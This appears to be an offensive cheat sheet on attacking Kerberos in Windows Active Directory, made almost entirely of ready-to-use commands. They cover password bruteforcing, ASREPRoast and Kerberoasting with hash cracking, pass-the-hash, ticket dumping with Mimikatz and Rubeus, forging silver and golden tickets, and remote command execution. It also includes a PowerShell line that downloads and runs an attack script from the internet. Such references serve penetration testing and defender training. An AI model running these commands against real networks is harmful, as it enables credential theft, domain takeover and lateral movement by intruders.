Kerberos

Info

How it works

Step 1

Step 2

Step 3

Step 4

Step 5

Bruteforcing

Requirements: connection with DC/KDC.

Linux (external)

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

Windows (internal)

With Rubeus version with brute module:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

ASREPRoast

Cracking users password, with KRB_AS_REQ when user has DONT_REQ_PREAUTH attribute, KDC respond with KRB_AS_REP user hash and then go for cracking.

# LDAP filter for non preauth krb users
LDAP: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))

Linux (external)

With Impacket example GetNPUsers.py:

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

Windows (internal)

With Rubeus:

# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>
# Powerview
Get-DomainUser -PreauthNotRequired
# https://github.com/HarmJ0y/ASREPRoast

Cracking with dictionary of passwords:

hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>
john --wordlist=<passwords_file> <AS_REP_responses_file>

Kerberoasting

Cracking users password from TGS, because TGS requires Service key which is derived from NTLM hash

# LDAP filter for users with linked services
LDAP: (&(samAccountType=805306368)(servicePrincipalName=*))

Linux (external)

With Impacket example GetUserSPNs.py:

python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>

Windows (internal)

With Rubeus:

.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>

With Powershell:

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>

Cracking with dictionary of passwords:

hashcat -m 13100 --force <TGSs_file> <passwords_file>
john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>

Overpass The Hash/Pass The Key (PTK)

NTDS.DIT, SAM files or lsass with mimi

Linux (external)

By using Impacket examples:

# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
# If not provided, password is asked
# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

Windows (internal)

With Rubeus and PsExec:

# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt
# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\<remote_hostname> cmd

Pass The Ticket (PTT)

MiTM, lsass with mimi

Linux (external)

Check type and location of tickets:

grep default_ccache_name /etc/krb5.conf

If none return, default is FILE:/tmp/krb5cc_%{uid}.

In case of file tickets, you can copy-paste (if you have permissions) for use them.

In case of being KEYRING tickets, you can use tickey to get them:

# To dump current user tickets, if root, try to dump them all by injecting in other user processes
# to inject, copy tickey in a reachable folder by all users
cp tickey /tmp/tickey
/tmp/tickey -i

Windows (internal)

With Mimikatz:

mimikatz # sekurlsa::tickets /export

With Rubeus in Powershell:

.\Rubeus dump
# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))

To convert tickets between Linux/Windows format with ticket_converter.py:

# ccache (Linux), kirbi (Windows from mimi/Rubeus)
python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi

Using ticket in Linux

With Impacket examples:

# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

Using ticket in Windows

Inject ticket with Mimikatz:

mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Silver ticket

Build a TGS with Service key

Linux (external)

With Impacket examples:

# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

Windows (internal)

With Mimikatz:

# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Golden ticket

Build a TGT with NTLM hash and krbtgt key, valid until krbtgt password is changed or TGT expires

Tickets must be used right after created

Linux (external)

With Impacket examples:

# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>
# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

Windows (internal)

With Mimikatz:

# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>
# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>
# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>
# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Misc

To get NTLM from password:

python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'

Delegation

Allows a service impersonate the user to interact with a second service, with the privileges and permissions of the user

  • If a user has delegation capabilities, all its services (and processes) have delegation capabilities.

  • KDC only worries about the user who is talking to, not the process.

  • Any process belonging to the same user can perform the same actions in Kerberos, regardless of whether it is a service or not.

  • Unable to delegate if NotDelegated (or ADS_UF_NOT_DELEGATED) flag is set in the User-Account-Control attribute of the user account or user in Protected Users group.

Unconstrained delegation

  1. User1 requests a TGS for ServiceZ, of UserZ.

  2. The KDC checks if UserZ has the TrustedForDelegation flag set (Yes).

  3. The KDC includes a TGT of User1 inside the TGS for ServiceZ.

  4. ServiceZ receives the TGS with the TGT of User1 included and stores it for later use.

Contrained delegation and RBCD (Resource Based Constrained Delegation)

Delegation is constrained to only some whitelisted third-party services.

  • S4U2Proxy Contrained

  • S4U2Proxy RBCD

  • S4U2Proxy Service Name Change

  • S4U2Self

  • S4U2Self & S4U2Proxy combined Contrained

  • S4U2Self & S4U2Proxy combined RBCD

  • RBCD attack